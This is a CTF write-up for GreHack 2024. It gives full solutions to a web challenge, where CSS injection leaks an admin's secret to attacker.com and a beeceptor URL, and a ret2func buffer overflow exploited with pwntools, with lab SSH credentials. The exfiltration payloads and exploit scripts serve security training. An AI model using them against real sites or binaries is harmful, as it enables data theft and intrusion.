GreHack 2024 CTF
I didn’t take enough screenshots for the writeup, I apologize in advance (I will try to add them once the challenges are released on github).
Keep it secret with style
For this web challenge, the target website allows us to store a secret in our session and change the color of the webpage via a button. Finally, there is a report section that makes an administrator visit a link.
The goal of this challenge is to retrieve the administrator’s secret. We also know that this secret has the following format GH{secret} where “secret” matches the following regex ^[a-zA-Z0-0_]{10}$.
We quickly discover that the color attribute is not properly sanitized which means we can inject some CSS.
When visiting this page on HackTricks, we learn that CSS injection can be used to exfiltrate data.
input[name=csrf][value^=a]{
background-image: url(https://attacker.com/exfil/a);
}
In example above, the attacker will receive a request if the csrf begins with an “a”. However, as our input is of type hidden, we will have to use this exploit :
input[name=csrf][value^=csrF] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}
To guess the administrator secret, we are going to inject as many possibilities as possible for each character of the flag.
input[name=hiddenSecret][value^=a] ~ * {background-image: url(https://totogrehack.free.beeceptor.com/a);}
input[name=hiddenSecret][value^=b] ~ * {background-image: url(https://totogrehack.free.beeceptor.com/b);}
input[name=hiddenSecret][value^=c] ~ * {background-image: url(https://totogrehack.free.beeceptor.com/c);}
[...]
input[name=hiddenSecret][value^=_] ~ * { background-image: url(https://attacker.com/exfil/_);}
This way, we can determine the administrator’s secret. To automate this, we can use the following python script and run it with the known part of the flag.
#!/usr/bin/python3
import requests
import sys
submit_url = 'https://keep-it-secret-with-style.ctf.grehack.fr/report'
def send_report(payload):
r = requests.post(url=submit_url,data={"url":"https://keep-it-secret-with-style.ctf.grehack.fr/profile?color="+payload})
def craft_payload(base_flag):
css = "blue;}"
for char in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_":
css += "input[name=hiddenSecret][value^="+ base_flag + char + "] ~ * {background-image: url(https://totogrehack.free.beeceptor.com/" + char + ");}"
return css
if __name__ == '__main__':
base_flag=sys.argv[1]
print(f'Base flag : {base_flag}')
payload = craft_payload(base_flag)
send_report(payload)
BOOM ! The flag is GH{w1tH_StYl3}
Baby Pwn
The aim of this challenge is to exploit a basic ret2func. The target function is obviously the debug one, which will give us a shell.
Using Objdump, we locate the function’s address at 0x8049205 (Due to lack of PIE protection, this address remains be the same).
To find the exact offset for overriding the EIP register, we can use the cyclic command below :
As the screenshot shows, we will need 22 characters of padding before putting the address of the debug function.
I used pwntools to practice using it, as it’s pretty straightforward here.
#!/usr/bin/python3
from pwn import *
# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
# Specify your GDB script here for debugging
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())
# ===========================================================
# EXPLOIT GOES HERE
# ===========================================================
s = ssh("baby","tcp0.infra.ctf.grehack.fr",10020,"luV8GgeNzLmi8uERa7")
padding=22
debug=0x8049205
payload = flat(
padding*"A",
debug
)
io = s.run(f"./baby")
io.recvline().decode()
io.sendlineafter(b'...?', payload)
# Receive the flag
io.interactive()
Then, after executing the exploit we get our shell and read the flag !